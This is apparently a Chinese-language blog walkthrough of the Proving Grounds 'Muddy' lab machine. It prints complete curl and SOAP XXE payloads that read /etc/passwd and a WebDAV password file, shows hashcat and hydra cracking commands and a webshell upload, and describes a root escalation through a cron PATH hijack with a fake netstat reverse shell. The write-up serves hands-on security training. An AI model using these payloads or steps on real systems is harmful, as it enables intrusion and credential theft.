Proving Grounds Practice : Muddy Walkthrough

 Proving Grounds Practice : Muddy Walkthrough


Foothold :

  • 80 發現 WordPress 與需要驗證的 WebDAV 路徑
  • 在 8888 發現 Ladon 服務,Exploit 查找後利用 XXE 讀取檔案
  • 讀取 WebDAV 常使用的驗證檔案 passwd.dav 後獲取一組憑證
  • 使用該組憑證登入 WebDAV 上傳 webshell 後利用拿到 Reverse Shell

PE :

  • Cron tab 固定執行的指令環境變數利用後提權成功


Rustscan,└─$ rustscan -a 192.168.223.161 --scripts none --ulimit 5000 | tee rustscan



snmp,└─$ sudo nmap -sU -p 161 192.168.223.161 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,25,80,111,8888 192.168.223.161 | tee nmap

25/tcp   open  smtp    Exim smtpd 4.92

80/tcp   open  http    Apache httpd 2.4.38 ((Debian))

111/tcp  open  rpcbind 2-4 (RPC #100000)

8888/tcp open  http    WSGIServer 0.1 (Python 2.7.16)



whatweb 發現 muddy.ugc 無法正常解析,將該名稱加到 Hosts File 指向靶機

muddy.ugc 看來是個 WordPress 站台



80 / 轉 muddy.ugc



使用搜尋功能輸入 index 網址為 http://muddy.ugc/?s=index



Path Traversal 測試 ../../../../../../../../etc/passwd



http://muddy.ugc/robots.txt



wpscan 掃描使用者,wpscan --url http://muddy.ugc --enumerate u

沒有找到有用的帳號



gobuster muddy.ugc /
發現 /webdav 存在 401 表示要驗證


存取 http://muddy.ugc/webdav 看來確實需要帳號密碼
這是一個後續可以利用的點


8888 /



8888 /muddy

網頁有告知使用方法 Methods 是使用 checkout 然後 string 使用方式是 uid:string

會返回 string 值,string 看來是個可能可以利用的東西



測試看看 http://muddy.ugc:8888/muddy/checkout?uid:/etc/passwd 沒有成功




測試另外一個 http://muddy.ugc:8888/muddy/soap11/checkout?uid:/etc/passwd
顯示告知要用 POST 而不是 GET



送到 Burp Suite 改用 POST 試試看,一樣顯示說要用 POST



後續使用 Exploit-DB 搜尋 Ladon 發現 43113,內容描述就是 Ladon SOAP POST 利用

然後像 Path Traversal 一樣去讀取特定檔案 



參考 POC



修改符合靶機的名稱與格式

=========================================================================

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"

xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

=========================================================================

可以成功直接讀取到 /etc/passwd



使用 Burp Suite 只送 BODY 如下看看

=========================================================================

<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:urn="urn:HelloService"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<uid xsi:type="xsd:string">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

=========================================================================

送出後一樣可以讀取到 /etc/passwd



整理完如下,僅有一個使用者 ian



讀取 /home/ian/.ssh/id_rsa 失敗,看來沒有該檔案



改讀取 /home/ian/.ssh/authorized_keys 看看有沒有該檔案的存在,看來一樣沒有

所以讀取使用者的 id_rsa 這條路看來是死的



測試 WebDAV ian:ian 等基本組合都 GG......



用使用者帳號 ian 然後 hydra 爆破 SSH 看看,跑了半小時都沒有爆破出來

└─$ hydra -l ian -P /usr/share/wordlists/rockyou.txt ssh://192.168.223.161 -V



讀取 /etc/httpd/conf.d/webdav.conf 一樣不存在



讀取 /etc/httpd/.htpasswd 一樣不存在



之後在某篇文章看到,WebDAV 的密碼也可以設定成 passwd.dav


這裡將存取的檔案路徑改成 /var/www/html/webdav/passwd.dav

=========================================================================

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"

xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

=========================================================================

順利讀到一串值 administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0



Burp Suite 測試讀取如下

=========================================================================

<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">

]>

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:urn="urn:HelloService"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<uid xsi:type="xsd:string">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

=========================================================================



將抓到的 HASH 值 $apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0

對照 Hastcat 格式,看來是 Apache MD5 格式



hashcat 解解看,└─$ hashcat -m 1600 admin.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force



解出來了,獲得憑證 administrant:sleepless



WebDAV 測試看看



過了,發現有個檔案 passwd.dav



內容就是上面利用 Ladon 漏洞讀取到的檔案內容



直接使用 cadaver 登入 WebDAV 試試看,└─$ cadaver http://muddy.ugc/webdav

輸入帳號密碼後 ls 確認沒問題,直接上傳 webshell.php 檔案發現可以成功上傳



瀏覽器也有看到



點選後輸入 whoami 試試看,可以正常執行沒有問題



使用最愛的 RM 指令獲取 Reverse Shell,獲取第一階段 flag local.txt



開始 PE,sudo -l 不知道 www-data 的密碼



SUID check



查看可寫入的資料夾,find / -writable -type d 2>/dev/null


cat /etc/crontab

發現有個固定執行的 netstat 指令



pspy64 看一下,每分鐘都會固定執行一次該 cron job



現在已知背影每分鐘會固定執行 netstat 的狀態確認去寫入到檔案 /root/status

所以可以想想看如何利用 netstat,看看 netstat 可否利用,看來可以執行但無法修改


跑跑看 linpeas

發現 [+] [CVE-2019-13272] PTRACE_TRACEME 且是高可利用性,其他都是低



下載 CVE-2019-13272.c 然後用 gcc 編譯後執行,發現 GG.....



另外測試低可利用性但有用過的 [+] [CVE-2021-3156] sudo Baron Samedit

下載 exploit_nss.py 然後執行看看,發現一樣 GG......



接著測試 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write

一樣是下載 exploit.c 然後編譯與執行,結果一樣 GG.....



最後一個 [+] [CVE-2019-18634] sudo pwfeedback

都一樣是 exploit.c,編譯後利用結果要 www-data 的密碼,因為不知道所以也是 GG......



繼續往下看,一樣在 cron job 的資訊發現橘色,尤其是這兩行

SHELL=/bin/sh

PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

這個意思是說 Cron Job 執行命令時使用的 Shell 是 /bin/sh
而參考的環境變數是第二行的 PATH,且在參考時會依序由左到右
第一個 /dev/shm 亮橘燈是因為現有帳號有寫入該資料夾的權限
前面枚舉可寫入的資料夾時有看到但不知道要如何利用



簡單講就是背景使用 root 執行 netstat 時會參考環境變數的路徑

然後第一個是 /dev/shm,這裡面沒有 netstat 指令

所以我們只要編譯一個 netstat 指令讓背景去執行利用即可

切換到 /dev/shm 後查看一下發現該路徑沒有任何東西

直接使用 RM Reverse Shell 指令編寫一個 netstat 檔案

然後給予執行權限



等不到一分鐘,4446 Reverse Shell 進來了,whoami 確認是 root,獲取 proof.txt



補充說明 :

在列舉 cat /etc/crontab 的時候就有說明使用的 shell

只是當時沒有去注意與查看 /dev/shm 這個路徑

是使用 linpeas 時,亮橘燈才看到,所以 linpeas 真的是個好東西




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(1)